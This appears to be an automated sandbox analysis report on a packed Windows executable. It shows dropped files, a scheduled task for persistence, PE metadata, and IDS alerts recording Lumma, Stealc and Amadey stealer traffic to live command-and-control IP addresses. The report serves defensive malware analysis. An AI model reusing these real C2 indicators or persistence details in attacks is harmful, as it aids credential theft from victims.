SHA-512:	4F7E39CBC0091CCE85569B1929FFF62F3F2CDB8DD7BCD47C7817671B2EEEB6B90EBE59515070ED726D7EE44A6DCEA6B52F09DF6AAE94AAB925AEB1FBD6527B30
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4180013425782776
Encrypted:	false
SSDEEP:	6:Fb6mmS/VXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lx/9e1lEt0:FHRf2RKQ1CGAFAjzvYRQVZs1lEt0
MD5:	C4F6DBDA57840318531E13D72AFAA857
SHA1:	317583317F847406C6648A6655EE95B69662B4F3
SHA-256:	7E931E765E59EAB0148F72F0AA5E13688A7DEFA2AB9684819905637C8FBFF8B6
SHA-512:	B8DEF781BC7A05337DDCAB74F4765EA8EA8AE3543E66C6340FEBE775AD420CB98ED133A68A688DD97B4936C2704FDED03B7228D31E941AC3998C987C09D02BB5
Malicious:	false
Preview:	.....O..._.K.z.^.0.QF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................7.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.507147106513987
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'949'120 bytes
MD5:	8d1e04c056caf2cc26a48a16be0198b8
SHA1:	f87723b046ab9db7acaa622516e3ba843650dce8
SHA256:	6b2b0c1fcb05eb6811e26b07df264a6a2becb83a95da2a875860c83e55776ff9
SHA512:	053b73f256e8fb175d5ade033091208e13b78cb4cf4c72f3f47b5127a82ce09b418d48f86e5a575d9df0ddb1920bf8243cd50413197bd2144d56f7ddfc7bbe0b
SSDEEP:	49152:7sqd18GF4eVBdMLIIM3dZCw0AiP8vpgdtIWyVYBe59mTag:YK18GXdMx2vCw0A6+qPIWyVYA
TLSH:	22D55C92B487E6CBD4CE12B480A7CD8A797D0BB94B2148C3986CF47A7D67CC111B7D68
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................@0.....p.-...@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x701000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F40B487169Ah
pmaxub mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F40B4873695h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	e1b0eb7adfd8204b0de6ccf72feacb49	False	0.998114224137931	data	7.982112788144997	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gmhlytvb	0x5b000	0x2a5000	0x2a4a00	5ece98b21a2c142b56272ae86bc6a80c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oycggmgz	0x300000	0x1000	0x400	d93c1bee7672ee981d4647aacf49b814	False	0.775390625	data	6.079561454478318	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x301000	0x3000	0x2200	d87ba2daa5cb12f6e0e5f774a5b54b9b	False	0.05549172794117647	DOS executable (COM)	0.705929765192405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T05:54:03.767658+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.95.91	443	TCP
2024-10-26T05:54:03.767658+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.95.91	443	TCP
2024-10-26T05:54:05.070860+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.95.91	443	TCP
2024-10-26T05:54:05.070860+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.95.91	443	TCP
2024-10-26T05:54:13.090457+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49736	104.21.95.91	443	TCP
2024-10-26T05:54:21.284197+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49740	104.21.95.91	443	TCP
2024-10-26T05:54:45.395132+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49742	185.215.113.16	80	TCP
2024-10-26T05:54:48.694384+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:54:48.976290+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:54:49.061591+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49745	TCP
2024-10-26T05:54:49.337150+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:54:49.344437+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49745	TCP
2024-10-26T05:54:50.446397+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:54:50.969279+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:02.258110+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:06.167819+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:06.629341+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49781	185.215.113.43	80	TCP
2024-10-26T05:55:09.783300+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:09.959461+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49803	185.215.113.16	80	TCP
2024-10-26T05:55:12.466547+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:23.996720+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:25.738019+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49745	185.215.113.206	80	TCP
2024-10-26T05:55:29.169741+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49797	TCP
2024-10-26T05:55:30.095910+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49915	185.215.113.43	80	TCP
2024-10-26T05:55:30.744686+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49916	104.21.95.91	443	TCP
2024-10-26T05:55:30.744686+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49916	104.21.95.91	443	TCP
2024-10-26T05:55:31.035357+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49921	185.215.113.16	80	TCP
2024-10-26T05:55:32.425267+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49927	104.21.95.91	443	TCP
2024-10-26T05:55:32.425267+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49927	104.21.95.91	443	TCP
2024-10-26T05:55:35.926688+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49945	104.21.95.91	443	TCP
2024-10-26T05:55:42.677709+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49985	104.21.95.91	443	TCP
2024-10-26T05:55:42.677709+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49985	104.21.95.91	443	TCP
2024-10-26T05:55:45.024281+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50002	185.215.113.206	80	TCP
2024-10-26T05:55:45.154828+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50003	185.215.113.43	80	TCP
2024-10-26T05:55:45.543787+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49994	104.21.95.91	443	TCP
2024-10-26T05:55:45.543787+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49994	104.21.95.91	443	TCP
2024-10-26T05:55:46.091039+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50011	185.215.113.16	80	TCP
2024-10-26T05:55:47.620249+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50020	104.21.95.91	443	TCP
2024-10-26T05:55:51.122388+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50033	104.21.95.91	443	TCP
2024-10-26T05:55:51.122388+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50033	104.21.95.91	443	TCP
2024-10-26T05:55:52.488643+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50035	104.21.95.91	443	TCP
2024-10-26T05:55:52.488643+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50035	104.21.95.91	443	TCP
2024-10-26T05:55:54.663250+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50038	185.215.113.43	80	TCP
2024-10-26T05:55:55.637075+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50039	185.215.113.16	80	TCP
2024-10-26T05:55:55.637075+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50039	185.215.113.16	80	TCP
2024-10-26T05:56:00.632547+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50049	185.215.113.43	80	TCP
2024-10-26T05:56:01.885386+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50050	185.215.113.206	80	TCP
2024-10-26T05:56:01.978191+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50052	104.21.95.91	443	TCP
2024-10-26T05:56:08.723135+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50062	104.21.95.91	443	TCP
2024-10-26T05:56:12.641383+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50027	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 05:54:02.472188950 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:02.472271919 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:02.472534895 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:02.476183891 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:02.476222992 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.331619024 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.331837893 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.334877968 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.334909916 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.335263014 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.380310059 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.388503075 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.388550997 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.388683081 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.767558098 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.767795086 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.768050909 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.770112991 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.770181894 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.770239115 CEST	49730	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.770257950 CEST	443	49730	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.819782019 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.819888115 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:03.820005894 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.820394039 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:03.820424080 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:04.641711950 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:04.641827106 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:04.643683910 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:04.643707991 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:04.644642115 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:04.645893097 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:04.645931959 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:04.645998955 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.070760012 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.070915937 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.071019888 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.071073055 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.071120024 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.071176052 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.071191072 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.071254969 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.071335077 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.071346998 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.072208881 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.072272062 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.072283030 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.114713907 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.114758015 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.161571980 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.187748909 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.187851906 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.187887907 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.187900066 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.187942028 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.187988043 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.188002110 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.188028097 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.188076019 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.188226938 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.188262939 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.188287973 CEST	49731	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.188302040 CEST	443	49731	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.733851910 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.733937979 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:05.734030962 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.737988949 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:05.738024950 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:06.582645893 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:06.582873106 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:06.584175110 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:06.584206104 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:06.584870100 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:06.586527109 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:06.586694002 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:06.586741924 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:06.586839914 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:06.586857080 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:07.148766041 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:07.149024010 CEST	443	49732	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:07.149045944 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:07.149137974 CEST	49732	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:07.276041031 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:07.276082039 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:07.276294947 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:07.276736021 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:07.276777983 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.102688074 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.103166103 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.104912996 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.104939938 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.105525017 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.106920004 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.107074022 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.107111931 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.573618889 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.573915958 CEST	443	49733	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.574043989 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.574043989 CEST	49733	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.841123104 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.841214895 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:08.841480970 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.841857910 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:08.841938972 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:09.695344925 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:09.695729017 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:09.697385073 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:09.697415113 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:09.697922945 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:09.699713945 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:09.699877977 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:09.699928999 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:09.700030088 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:09.700047016 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:10.300930023 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:10.301214933 CEST	443	49734	104.21.95.91	192.168.2.4
Oct 26, 2024 05:54:10.301251888 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:10.301323891 CEST	49734	443	192.168.2.4	104.21.95.91
Oct 26, 2024 05:54:10.741889954 CEST	49735	443	192.168.2.4	104.21.95.91
